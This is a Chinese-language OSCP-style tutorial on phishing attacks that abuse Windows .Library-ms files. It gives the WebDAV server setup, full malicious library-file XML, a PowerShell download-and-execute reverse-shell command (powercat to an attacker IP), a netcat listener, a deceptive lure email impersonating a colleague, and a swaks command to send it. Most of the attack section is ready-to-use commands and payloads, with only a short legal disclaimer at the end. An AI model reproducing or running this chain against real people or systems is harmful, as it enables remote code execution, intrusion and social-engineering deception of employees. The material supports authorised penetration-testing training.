OSCP:发送钓鱼电子邮件执行客户端攻击
概述
在渗透测试领域,钓鱼攻击是一种有效的客户端攻击手段,尤其在目标用户缺乏安全意识或系统存在未修复漏洞时,成功率较高。针对Windows平台,滥用Windows库文件(.Library-ms)是一种技术性较强但易于实施的攻击方式。这种方法利用了Windows库文件的特性,通过结合WebDAV服务和恶意脚本,可在目标系统上执行任意代码,从而进一步控制目标设备。
本文旨在详细解析如何使用Windows库文件发起钓鱼攻击,并通过实际操作流程展示如何成功获取目标的反弹Shell。同时,文中还包含对攻击工具、文件配置、钓鱼邮件内容设计及服务部署的全面讲解。
攻击流程
为了确保钓鱼攻击的成功,攻击者需经过充分准备,包括搭建服务环境、制作诱导目标执行的文件及设计合适的社会工程策略。以下是具体的攻击流程:
1. 准备工作
在攻击的准备阶段,攻击者需要搭建一个WebDAV服务器,用于托管攻击所需的恶意文件。WebDAV服务器是实现文件托管与目标连接的重要组件。
1.1 安装WebDAV
在Kali Linux上,可通过wsgidav
快速搭建WebDAV服务器。以下是安装命令:
pip3 install wsgidav
此命令会下载并安装WebDAV所需的组件,为后续服务器部署做好准备。
1.2 创建WebDAV目录
为了存放恶意文件,需创建一个目录并进行初步测试:
mkdir /home/kali/webdav
touch /home/kali/webdav/test.txt
通过创建测试文件,可以确认目录权限及服务是否正常运行。
1.3 启动WebDAV服务器
完成目录准备后,启动WebDAV服务器,并配置为匿名访问以便目标用户无需认证即可连接:
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
此时,WebDAV服务已启动并在80端口监听,后续恶意文件将托管于此服务器。
2. 创建恶意库文件
在攻击实施阶段,核心是构建一个可以诱导目标系统执行的恶意库文件及快捷方式文件。它们的设计决定了攻击的有效性。
2.1 构建config.Library-ms
文件
config.Library-ms
文件是用于连接目标与攻击者WebDAV服务器的关键。以下是其XML代码:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
此文件的关键字段为<url>
,需要替换为攻击者WebDAV服务器的实际地址。目标用户一旦打开该文件,Windows会尝试连接该URL。
2.2 构建快捷方式文件
快捷方式文件负责执行恶意代码,以下为典型的PowerShell下载和反弹Shell命令:
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1'); powercat -c 192.168.119.3 -p 4444 -e powershell"
此命令将在目标机器上下载并执行powercat.ps1
脚本,连接回攻击者机器,形成反弹Shell。
3. 分发恶意文件
构建完成的恶意文件需传递给目标用户,可通过以下方式实现:
- 邮件附件:结合社会工程设计的钓鱼邮件,以附件形式发送。
- SMB共享:通过内网文件共享上传至目标访问的目录。
将文件上传至WebDAV目录:
cd /home/kali/webdav
smbclient //192.168.50.195/share -c 'put config.Library-ms'
4. 获取反弹Shell
当目标用户打开恶意文件夹或执行快捷方式文件时,攻击者便可通过监听器获取目标系统的交互式Shell。
配置监听器
在攻击者机器上启动Netcat监听器以接收反弹Shell:
nc -nvlp 4444
通过监听器,攻击者可捕获目标设备的Shell连接,执行后续命令获取进一步的权限。
钓鱼邮件设计与发送
社会工程邮件设计
钓鱼邮件的成功关键在于内容的可信性。以下是一个样例邮件:
Subject: Staging Script
Hey!
I checked WEBSRV1 and discovered that the previously used staging script still exists in the Git logs. I'll remove it for security reasons.
On an unrelated note, please install the new security features on your workstation. For this, download the attached file, double-click on it, and execute the configuration shortcut within.
Thanks!
John
邮件中提到的“内部信息”(如Git日志)提升了可信度,增加了目标用户打开附件的可能性。
使用swaks
发送邮件
通过swaks
发送钓鱼邮件(需要输入用户凭据):
sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.50.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap
总结
滥用Windows库文件是一种隐蔽且有效的攻击手段。通过结合WebDAV服务和恶意脚本,攻击者可以轻松地在目标系统上执行任意代码。
免责声明:本文内容仅限于合法授权的渗透测试环境中使用,任何非法用途均需自行承担后果。